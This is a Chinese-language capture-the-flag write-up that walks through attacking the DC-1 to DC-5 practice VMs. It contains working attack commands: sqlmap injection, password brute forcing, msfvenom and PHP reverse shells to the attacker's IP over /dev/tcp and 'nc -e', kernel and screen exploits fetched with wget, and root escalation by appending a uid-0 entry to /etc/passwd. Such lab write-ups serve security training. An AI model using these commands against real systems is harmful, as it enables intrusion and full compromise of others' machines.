DC靶场
DC靶场
VVkladg0rDC靶场
DC-1
环境配置
vm打开解压的DC-1.ova
输入虚拟机名称和选择存储路径,点击导入,一般会弹出导入失败的对话框,不用理,直接点击重试。导入完成之后,先不要着急开机
然后配置一下网络
跟kali配成一样的
然后就打开kali和DC1
DC-1打开是这样的:
我们渗透的目的就是等进去
攻击
上线
先扫描一下 确定一下ip和port
nmap -sP 192.168.49.1/24
发现有三台主机
进一步扫码呢
nmap -PS -PA 192.168.49.1/24
判断目标主机是192.168.49.129
开放端口是22 80 111
22是ssh服务,80是http,111是一个rpcbind远程调用
访问一下这个ip呢
是一个登录界面
搜索Drupal 发现是一个CMS
Drupal 7
直接上MSF
msfdb run
search Drupal 7
发现有漏洞框架
用0
只用设置rhost
set rhost 192.168.49.129
但是没用 换一个框架呢
use1
同样的去设置rhost
咦都不行
扫描一下呢
没有漏洞?
这个msf有点问题
换了一个kali打
进去了
步骤还是像上面一样 就不细写了
flag1
ls一下
发现flag1.txt
cat flag1.txt
flag2
在flag1中看到给了一个提示
Every good CMS needs a config file - and so do you
每个好的CMS都需要一个配置文件——你也是
所以我们找一下它的配置文件
网上一搜就有
sites/default/settings.php
直接cat一下
出
flag3
flag2同样给了提示
flag2
Brute force and dictionary attacks aren’t the
only ways to gain access (and you WILL need access).
What can you do with these credentials?
标志 2
暴力破解和字典攻击不是
只有获得访问权限的方法(您将需要访问权限)。
您可以使用这些凭证做什么?
注意这个cms是有个登录端口的
这个提示应该就是想让我们爆破登录
在flag2后面还有一个数据库的信息
我们可以尝试登录一下数据库
先从mysql开始试下
这里我们需要shell一下
python -c "import pty;pty.spawn('/bin/bash')"
注意shell的命令是无法修改的
mysql -u dbuser -p
进入mysql
show databases;
use drupaldb;
show tables;
发现user表
看下表里的信息
select * from users\G;
查看表的信息并纵向排列:
admin用户
在Mysql中用户的密码是md5加密的
可以直接解密的 在cmd5上 但是要付费
没办法 我们只要考虑修改一下密码了
我们找一下Mysql中的加密脚本呢
find . -name “*hash*”
找到了
直接调用就行
./scripts/password-hash.sh 123456
$S$Dt/Yo1WMT.zsriJEUyF9Qcvb3lgaMyzB1iMrSmeV2bEf1O7T1fOH
回到数据库中 改密码
update users set pass='$S$Dt/Yo1WMT.zsriJEUyF9Qcvb3lgaMyzB1iMrSmeV2bEf1O7T1fOH' where name='admin';
注意这里要进入drupaldb里
成功登录
找到flag3
flag4
Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.
特殊的 PERMS 将帮助找到密码 - 但您需要 -exec 该命令来了解如何获取阴影中的内容。
我们到passwd里面找下
cat /etc/passwd
找到flag4
cd进去看下
好像是权限不够
flag5
这里我们不能上传文件
linux提权的话这里我们考虑用suid提权
发现了find文件
find 提权
find /usr/bin/find -exec "/bin/bash" -p \;
最后找到root文件夹
这就是全部的flag了
DC-2
环境配置跟DC1一模一样
这里就不写了 把靶机下下来 改一下网络连接就行
flag1
先扫秒吧
arp-scan -l
扫描同网段的所有ip
靶机地址是
192.168.31.75
具体扫下
nmap -sV -p- 192.168.31.75
开了两个端口啊
访问一下呢
访问ip访问不到
nmap -A 192.168.31.75
可以看到80没有重定向到域名
我们需要设置hosts文件 添加:
192.168.31.75 dc-2
vi /etc/hosts
登录成功
发现flag1
flag2
Flag 1:
Your usual wordlists probably won’t work, so instead, maybe you just need to be cewl.
More passwords is always better, but sometimes you just can’t win them all.
Log in as one to see the next flag.
If you can’t find it, log in as another.你通常的单词表可能不起作用,所以,也许你只需要保持清醒。
密码越多越好,但有时你就是无法赢得所有的密码。
以一个人的身份登录以查看下一个标志。
如果找不到,请以另一个用户登录。
提示需要我们寻找密码和用户
whatweb一下
发现是wordpress
现在我们要找一下哪里有登录接口
dirsearch一下
dirsearch -u http://192.168.31.75
看到有登录接口
百度上搜索wordpress发现有漏洞工具–wpscan
kali上自带wpscan
wpscan --url dc-2 -e u
看到有三个用户名
我们把他存在一个txt文件中
接下来就是爆破密码了
看到提示中有Cewl
使用这个
Cewl是一款采用Ruby开发的应用程序,你可以给它的爬虫指定URL地址和爬取深度,还可以添额外的外部链接,接下来Cewl会给你返回一个字典文件,你可以把字典用到类似John the Ripper这样的密码破解工具中。除此之外,Cewl还提供了命令行工具。
cewl http://dc-2/ -w /home/kali/Desktop/password.txt
根据url生成字典
现在 我们密码账号都有了
直接爆破
这里我们可以使用BP爆破
但是这里是wordpress 所以我们还可以用wpscan
wpscan --url http://dc-2 -U name.txt -P password.txt
扫出来两个
Username: jerry, Password: adipiscing
Username: tom, Password: parturient
登录
jerry登录成功
找到flag2
flag3
If you can’t exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.如果你不能利用WordPress并走捷径,还有另一种方法。
希望你找到了另一个入口。
wordpress是http接口来的
但是我们扫描出的还有ssh接口–7744
刚刚我们是jerry登录的
现在我们试下tom
ssh登录
ssh tom@192.168.31.75 -p 7744
登录成功
看下权限呢
发现被rbash了
rbash是Restricted bash缩写,即受限制的bash。 管理员可通过指定普通用户的bash为rbash,以此来限制相关操作。简单来说,区别于一般的shell,它会限制一些行为,让一些命令无法执行。
先看下有哪些命令能用
compgen -c
echo $PATH
echo /home/tom/usr/bin/*
两个命令都可以啊
看到有vi和less
ls一下
看下能不能直接看
less flag3.txt
flag4
虽然我们拿到了flag3
flag3
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
可怜的老汤姆总是追着杰瑞跑。也许他应该为自己造成的压力而死。
但是我们仍没有绕过rbash
flag3提示要用su
su是用来切换账户的
所以
su jerry
但是我们没有su的使用权限
所以我们还是要绕rbash
两个方法可以绕rbash
法1
vi
vi写入
:set shell=/bin/bash
:shell
回车退出vi
设置环境变量
export PATH=$PATH:/bin/export PATH=$PATH:/usr/bin/
如果没有设置环境变量还是不行
因为系统找不到该用的shell
成功
法2
执行X的时候相等于在执行shell
BASH_CMDS[x]=/bin/bash
或者
BASH_CMDS[x]=/bin/sh;x
设置环境变量
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
绕过了就
su jerry
登录成功
找到flag4
flag5
Good to see that you’ve made it this far - but you’re not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you’re on your own now. :-)
Go on - git outta here!!!!
很高兴看到你已经走了这么远——但你还没有到家。
你仍然需要获得最终的旗帜(唯一真正重要的旗帜!!)
这里没有提示——你现在要靠自己了。:-)
走吧,离开这里!!!!
应该是要提权了
linux的话还是suid提权
find / -user root -perm -4000 -print 2>/dev/null
找下suid文件
看来不是suid提权
回头看下提示发现提示git
可能是sudo提权
看下有什么root权限的命令吧
sudo -l
果然是git
sudo git help config
然后直接输入:
!/bin/hash
回车
提权成功
找到最终flag
DC-3
flag1
先信息收集吧
arp-scan -l
靶机地址是192.168.31.189
具体扫下
nmap -sV -p- 192.168.31.189
发现只开放了80端口
访问一下
只有1个flag啊 还要提权
whatweb一下
whatweb http://192.168.31.189
Joomla
dirsearch扫一下
dirsearch -u http://192.168.31.189
看到一个可疑路径
192.168.31.189/administrator/
一个登录接口
我们可以用joomla扫描工具扫一下
apt install joomscan
joomscan -u 192.168.31.189
msf是不能直接上线的
所以我们用searchsploit
searchsploit是一个基于Exploit-DB的命令行搜索工具,可以帮助我们查找渗透模块。
发现一个sql注入漏洞
我们看下这个漏洞的exp
searchsploit -p 42033.txt
不用访问url也行
cat /usr/share/exploitdb/exploits/php/webapps/42033.txt
多种exp可用
这里我们用sqlmap
sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]
查表
sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" --tables -p list[fullordering]
查列
sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" --columns -p list[fullordering]
查字段
sqlmap -u "http://192.168.31.189/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D "joomladb" -T "#__users" -C "name,password,username" --dump -p list[fullordering]
账户:admin
密码:
$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
kali自带解密工具john解密一下
放到一个txt文件中
john /home/kali/Desktop/ppassword.txt
john --show /home/kali/Desktop/ppassword.txt
所以
账户:admin
密码:snoopy
登录
找到一个可以上传文件的地方
蚁剑连接
看下权限
普通权限
现在我们需要提权
这台linux我们有webshell权限
考虑内核提取
看下版本
uname -r
uname -a
ubuntu的
传个信息收集的脚本上去扫下
有脏牛啊
先试下脏牛
没提上去啊
先给它搞到msf上
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.31.63 LPORT=6363 > shelll.php
上传到靶机
开监听
访问一下shelll.php
上线
python -c “import pty;pty.spawn(‘/bin/sh’)”
我这个shell有点问题
换种方法呢
weevely http://192.168.31.189/templates/beez3/language/shell.php pass
weevely是Linux中的菜刀
weevely generate test test.php # 其中test为连接密码,test.php为路径 生成木马
http://192.168.31.189/templates/beez3/pp.php
多种方式尝试最后只能反弹shll
<?php system ("bash -c 'bash -i >& /dev/tcp/192.168.31.63/4444 0>&1'"); ?>
nc lvp 4444
用serachsploit找下
searchsploit ubuntu 16.04 linux
用这个吧
cat /usr/share/exploitdb/exploits/linux/local/39772.txt
下载一下exp
wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
在39772.zip目录开下http
php -S 0.0.0.0:9696
get http://192.168.31.63:9696/39772.zip
解压
按照说明
cd 39772 tar -xvf exploit.tar cd ebpf_mapfd_doubleput_exploit chmod 777 * ./compile.sh ./doubleput
拿下
DC-4
扫描吧
多种方法都可以
arp-scan -l
靶机ip:192.168.31.179
具体扫下
nmap -sV -p- 192.168.31.179
可以看到开放了两个端口
访问一下
一个登录接口
whatweb看下
whatweb 192.168.31.179
没有什么有用信息啊
那就只用从这个接口下手了
爆破一下
猜测用户名admin
成功爆破出密码是happy
登录
可以列出文件
ls -l
可能能执行命令
我们抓这个run试下
果然是ls -l
看看能不能执行我们的命令
执行成功了
执行个反弹shell到kali吧
这样看着不爽
nc 192.168.31.63 6363 -e/bin/bash
上线
shell一下吧
python3 -c "import pty;pty.spawn('/bin/bash')"
成功
看到有三个用户
进去看下
在jim里面发现了old-passwords.bak
我们把密码拿下来爆破一下
用hydra爆破密码
hydra -L user.dic -P passwd.bak ssh://192.168.31.179 -vV -o hydra.ssh
-L user.dic
: 指定用户名列表
-P passwd.bak
:指定密码列表
ssh://192.168.40.163
:指定爆破得IP地址
-vV
:设置 hydra 为详细模式,显示更多的输出信息
-o
:hydra.ssh:将结果输出到名为hydra.ssh的文件中
最终结果
用户名:jim 密码:jibril04
这样的话我们就ssh登录一下
ssh jim@192.168.31.179 -p 22
登录成功
这里提示jim有一封邮件
找下邮件呢
在mail下有jim
看下
发现密码
^xHhA&hvim0y
所以我们又得到一组密码
charles
^xHhA&hvim0y
再ssh登录一下
ssh charles@192.168.31.179 -p 22
登录成功
先看下权限吧
sudo -l
发现使用/usr/bin/teehee 切换到root权限是不需要密码
这里我们需要使用teehee提权
teehee是个小众的linux编辑器。如果有sudo权限。可以利用其来提权
核心思路就是利用其在passwd文件中追加一条uid为0的用户条目
echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd按照linux用户机制,如果没有shadow条目,且passwd用户密码条目为空的时候,可以本地直接su空密码登录。所以只需要执行su raaj就可以登录到raaj用户,这个用户因为uid为0,所以也是root权限
所以
sudo teehee -a /etc/passwd
然后
ABC::0:0:::/bin/bash
ctrl+c
su ABC
也可直接使用:echo "raaj::0:0:::/bin/bash" | sudo teehee -a /etc/passwd && su raaj
来提权
DC-5
信息收集吧
arp-scan -l
所以靶机ip
192.168.31.127
具体扫下
nmap -sV -p- 192.168.31.127
开放了2个端口
访问一下吧
没啥用
whatweb看下呢
没啥用
dirsearch扫下呢
有几个php文件
访问看看呢
contact.php
页面有个submit
footer.php
页面的数字在刷新之后会变化
thankyou.php
刷新数字会变
可能thankyou.php和footer.php有点关系
我们抓下thankyou.php呢
爆破一下服务器变量名 试下文件包含
这里用bp自带的字典
确实有的
变量名是file
确实有文件包含
又由前面得知是nginx服务器,所以可以尝试包含日志access.log
访问日志主要记录客户端的请求。客户端向Nginx服务器发起的每一次请求都记录在这里。客户端IP,浏览器信息,referer,请求处理时间,请求URL等都可以在访问日志中得到。
位置:/var/log/nginx/access.log (Nginx服务器)
错误日志目录:/var/log/nginx/error.log
包含成功
这样的话 我们就可以上传一句话木马了
直接上传就行
再看下日志呢
上传成功
蚁剑连接
这里蚁剑如果返回空 可以试下UA传一句话木马
好 我们现在反弹shell到kali上来
nc -lvnp 6363
nc -e /bin/bash 192.168.31.63 6363
python弄个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
先看下sudo呢
sudo -l
不行
那我们看下suid呢
find / -user root -perm -4000 -print 2>/dev/null
没有我们需要的关键字
说明suid提权不行
那我们看看这里面有没有漏洞 用searchsploit
找到这个
searchsploit screen 4.5.0
我们根据这个poc来打
searchsploit -p 41152.txt
searchsploit screen 4.5.0 -m 41154.txt
没啥用
我们看看那个sh文件
cat /usr/share/exploitdb/exploits/linux/local/41154.sh
这个也可以
searchsploit -x linux/local/41154.sh
有东西
简单来讲就是新建 libhax.c 和 rootshell.c 两个文件。把对应的内容写进去,然后编译,再把把最下方的内容存储到.sh文件里面,上传到靶机的/tmp目录里面执行即可
好
按照要求先在kali将41154.sh中上面面一部分c语言代码另存为libhax.c文件,内容如下
|
gcc -fPIC -shared -ldl -o libhax.so libhax.c
编译
将41154.sh中下面一部分c语言代码另存为rootshell.c,内容如下
|
编译
gcc -o rootshell rootshell.c
除去c语言部分,将剩下的内容另存为dc5.sh
#!/bin/bash |
好 我们把这些文件放到目标主机上 /tmp路径里
cd到tmp目录
看下权限
给dc5.sh赋权
chmod 777 dc5.sh
./dc5.sh
这里提权失败了,,这里发现是 GLBC的版本不对,导致编译出来的文件不能成功提权
我Kali的GLBC版本太高了 不能超过2.3.4
靶机的可以
我们把rootshell.c放给靶机 让靶机编译
可以了
成功